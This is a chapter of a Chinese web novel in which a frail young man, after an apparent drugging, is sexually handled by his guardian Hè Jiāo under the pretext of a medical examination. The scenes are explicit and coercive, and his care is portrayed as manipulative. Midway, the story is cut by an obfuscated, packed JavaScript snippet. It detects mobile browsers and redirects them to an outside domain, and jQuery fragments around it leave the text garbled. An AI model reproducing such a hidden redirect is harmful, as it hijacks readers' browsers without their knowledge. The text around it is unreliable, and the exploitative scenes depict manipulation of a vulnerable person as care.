17.第 17 章

作品:《病弱炮灰为何深陷修罗场

    “小鱼。”


    贺骄果真停了动作,迟瑜眼眶里含着泪惴惴不安地望过去。


    贺骄不松手,他也不敢使劲将脚抽回来。


    大概是察觉到了他的慌张,贺骄浅色的瞳孔闪过些异样的情绪。


    “别动。”


    □*□


    “呜……”


    迟瑜闭咬住下唇,却还是忍不住从齿缝里溢出难耐的吟叫,他身体紧绷,呼吸逐渐急促。


    贺骄手掌被他夹住,无奈地叹了口气,隔着被子拍拍迟瑜的后腰:“放松些。”


    □*□


    □*□


    □*□


    □*□


    他盯着被濡湿的指尖看了会儿,忽地将食指送进嘴里,迟瑜睁大了眼睛,不知从哪儿迸发出来的力气,就连脚上的疼痛的完全忽略了,飞扑过去想要拦住:“不要吃,这个很脏!”


    贺骄将他稳稳接近怀里:“不脏,微甜,你要不要尝尝?”


    迟瑜抬眼望过去,贺骄的表情没有任何玩弄的意味或者下流的揶揄,浅色的瞳孔里认真而严谨,像是在做某种研究。


    倒显得反应这样大的迟瑜心思歪了。


    迟瑜脸色红得像蒸熟的虾子,自暴自弃地缩在贺骄怀里,弱弱地说:“不了吧,我不想吃。”


    贺骄低沉的嗓音从头顶传来,迟瑜更不敢抬脸见人。


    “水好多,有可能是药物在你体内还有残余,或许影响到了你的体质也说不定。”


    就是那种感觉。


    前不久才经历过这一遭的迟瑜几乎不需要什么东西来验证,他身体里沁入骨血的骚动就是最好的证据,今晚的反应,甚至比那一晚来得还要剧烈,发作得还要更快。


    他呜呜地哭了出来。


    贺骄握住他的手,声音里带着沉思的忧虑:“这件事除我之外不要让任何人知道。”


    “一定要想办法尽快解决。”


    迟瑜只顾得上点头,眼泪快要将鬓角的发丝濡湿,他心里慌得不得了。


    事到如今,唯一的救命稻草就是搂着他的贺骄,他满眼无助,将所有的希冀都寄托在贺骄身上。


    太漂亮了。


    贺骄垂眼看着倚在他怀里的迟瑜,如一只受惊的鹿,稚嫩而纯真,只消盈盈地瞥过来一眼,那双瞳孔里的依赖便足以牵动任何人心神。


    真好,这样的迟瑜,只有他能看见。


    贺骄声线温雅,透着浓浓的关切和忧虑:“药效来得好快,若是找不到原因,就怕以后在外面发作了,随便被人碰一碰就湿了一屁股水。”


    “我不要!”


    迟瑜瞬间睁大了眼睛,泪珠子再也蓄不住,簌簌地滚落下来,他一想到这种可能就吓得立即打了个哆嗦。


    他才不要变成一只会当众发情的兽。


    迟瑜慌不择路地攥着贺骄的手就往身下去,哭得厉害极了:“贺骄,你帮帮我,呜呜呜……”


    【恭喜宿主,今日日常任务已完成(1/1)。】


    “别急,明天我让徐医生过来给你抽血化验一下,”贺骄安抚他,“至于今晚,我先给你看看。”


    贺骄轻叹了一声:“别急,慢慢来。”


    他将被子掀开,让迟瑜躺在雪白床单上。


    迟瑜身体里热度攀升,熟悉的感觉再次卷土重来,迟瑜满心惊惶,敞开腿任由贺骄仔细摆弄检查,细碎的哭音混着时不时变调的惊叫,迟瑜脑海里那天晚上被季森弄过的记忆挥之不去。


    系统也急得要命:


    【宝宝,你别急,我已经报错了,按理讲药效不会残余这么久的。】


    贺骄扶了扶镜框,神色严肃,迟瑜也不由自主紧张起来,他害怕自己真的变成贺骄说的那样。


    “你先和我说说那天晚上的症状,你药效发作之后,发生了什么,你身体的变化,哪里变得敏感了,季森怎么弄的你,弄了多久,他弄完后你身体有什么反应,都一五一十地和我说清楚,我才能判断是哪里出了问题。”


    迟瑜难堪得哭音都低极了:“全……全部都要……说吗?”


    “不要有遗漏。”贺骄话锋一转,“或者,你明天可以亲口对徐医生说。”


    “不要!”贺骄的手正轻柔抚慰他,迟瑜只觉得头脑里仅存的理智也正在被捏扁搓圆,身体里不知成因的燥热让他比中招当晚还要无措:“我说……”


    “乖……”


    迟瑜脑袋里理智的弦摇摇欲坠,甚至不明白事情是如何发展到后来的走向。


    贺骄当真是万分尽责地为他排查原因,甚至一丝不苟地要复刻季森弄他的那一段。


    迟瑜偶然理智回笼的片刻很想开口对贺骄说他不必牺牲到这样的地步。


    对不喜欢的人做这样的事,恐怕谁也无法毫不介怀。


    “他是怎么舔你的?”


    贺骄语气认真得像是在研究一份重要的并购案,迟瑜心底的羞赧越发显著,但贺骄的眼神看不出一丝情欲意味,迟瑜便越发觉得自己此刻形容丑陋,恐怕和发情的动物没什么差别,他呜呜咽咽地伸手去挡住自己的脸,却被贺骄强硬地掰开,但他声音却是和动作完全相悖的轻柔:


    “小鱼,看着我,别害怕,我会帮你的。”


    “呜呜呜……”


    迟瑜视线一片模糊,根本看不清贺骄的表情,他小声抽泣着,出了许多汗,发丝凌乱地粘在侧脸上,随着贺骄的操控突然难耐地仰起头,修长的颈子拉出漂亮柔韧的弧度。


    “他拉着我坐在他……”迟瑜声音细若蚊吟,眼神失焦。


    “坐在那儿?”贺骄曲起手指,声音有些沉。


    迟瑜惊叫一声,腰腹猛然弓起,崩溃地哭出来:“他脸上,坐在他脸上……呜呜……”


    贺骄凑到迟瑜耳边,轻声说了句什么,迟瑜惊愕地睁大了眼睛,浑身紧绷如弦,每一寸肌肤都在叫嚣着危险。


    后面的事情他已经不忍再回忆。


    贺骄为了帮他,竟真的如那晚的季森一样弄他,甚至还要激烈许多。


    床上一片狼藉,迟瑜中途晕过去一次,再醒来时贺骄依然伏在他腿上或者胸前,不知疲惫地寻找他身体失控的根源,直到迟瑜彻底昏睡过去。


    他感觉自己的身体真的坏掉了,分不清是残余的药效弄坏的,还是季森或者贺骄弄坏的。


    迟瑜万分恐慌,害怕自己真的变成贺骄说的那样,某一天因为意外的肢体接触,他会在大庭广众之下流一屁股水,承受所有人鄙夷厌弃的目光。


    怀揣着过深的顾虑,他这一觉睡得很不安,但身体却像是被什么束缚着,迟瑜动弹不得,却感觉到怪异的安全感。


    再醒来时,是察觉到手臂上一阵刺痛,迟瑜本能地皱着眉想躲开,却被人摁住了。


    “别动,正在抽血。”


    是贺骄的声音。


    迟瑜眼睫乱颤,艰难地睁开了眼睛,贺骄的脸近在眼前,他肩膀被按着,手臂上的刺痛并没有持续多久。


    “好了,结果出来我发给贺总您。”


    徐医生将血液样本收好,又温声叮嘱迟瑜:“小鱼最近好好休息,连着发了几次烧,又扭伤了脚,好好在家歇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422092|184151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着,有啥事别憋在心里,多和贺总说说。”


    迟瑜想开口说话,却发现嗓子哑得几乎出不了声,他想起来昨晚乱七八糟地叫了大半夜,怕被听出来什么异常,就只好无声地点点头。


    徐医生想揉揉迟瑜的脑袋,但余光瞥到贺骄坐在一边,提到一半的手又放了下来,叹了口气:“乖乖养着,有不舒服再找我。”


    迟瑜冲他笑笑。


    徐医生在贺家做了十几年的家庭医生,前面几年,他的工作都无比清闲,直到迟瑜搬进来,才彻底忙碌起来,迟瑜体质很差,尽管贺骄事无巨细地精细养着了,但依然小病不断,贺骄与他截然相反,腿好了之后几年都难得病一回,徐医生也可以说是迟瑜的专属家庭医生了,这么些年看着迟瑜长大,对这个漂亮又礼貌的小孩也比其他人多了几分心疼。


    徐医生出去之后,迟瑜才后知后觉地发现自己正躺在贺骄的床上,他眼神中才刚刚显出些疑惑,贺骄便轻易读懂了他的意思。


    “你的床到处是被水打湿的痕迹,睡不了人。”


    水,哪来的水?


    迟瑜前一秒还懵懵的,后一秒钟想明白之后脸色便瞬间通红,悄悄将被子往上拉了拉遮住半张脸,只露出一双乌黑透亮的眼睛,眼尾的红晕都还在,看着有股可怜兮兮的软糯。


    “徐……徐医生有说什么吗?”迟瑜嗓子里像滚了沙子,说话时干干地疼。


    “先润润嗓子。”贺骄适时地递过来一杯温水,扶着迟瑜坐起来靠在软枕上,迟瑜就着贺骄的手咕噜咕噜几大口喝光了一杯水,喝完还觉得没够,又仰起脸眨巴着眼睛看贺骄:“还要。”


    他这模样实在像是某种讨食的小动物,眼睛乌而纯,看久了,贺骄心尖上像是被什么扎了一下,一瞬间的刺痛感让他心底某处松动改了一下,他于是抬手轻轻覆住那双眼,迟瑜疑惑的歪过脑袋去看他。


    失态只维持了几秒钟,贺骄唇角又挂上了浓郁的关切,转身又倒了半杯温水慢慢喂迟瑜喝下了。


    “我一会儿公司有事,这几天可能都会很忙,你好好在家休养,没事不要出门。”


    “你的脚伤也需要修养,饭菜我会让孙姨按食谱做好,送到你的房间来。”


    迟瑜刚想说自己的脚已经不怎么疼了,又转而想到昨晚的事,以及贺骄说的那些话,又退缩了:“好。”


    贺骄继续说:“以防万一,在你身体的异常查清楚之前,这几天你都和我一起睡。”


    迟瑜想了想,也觉得有道理:“我都听你的。”


    “如果身体有出现了你自己无法解决的异常,就给我打电话。”贺骄一面叮嘱他,一面转身脱去睡袍换上西装,迟瑜躺在床上看着贺骄肌肉坚实的后背被黑色衬衣包裹起,心里有种异样的感觉。


    就像某类温存过后的小夫妻,妻子羞涩慵懒地躺在被窝里,目送着丈夫穿戴整齐出门工作。


    迟瑜赶紧晃晃脑袋,将这些杂念通通赶出去。


    【宝宝宝宝我回来了!】


    【我又翻阅了很多资料案例,都和你的情况对不上啊】


    【咱们这是都市狗血虐恋文,前辈们说,宝宝你这种情况一般在玄幻流比较常见。】


    【但也有见多识广的前辈说,现代文的话,花市也有很多这种改变体质的设定,把我也弄晕了。】


    【先看看还会不会发作吧,但可能性不大,还需要再观望一下。】


    改变体质?


    迟瑜身体一瞬间变得僵硬。


    他下意识夹紧双腿,有些害怕下一秒会毫无征兆地流出水来。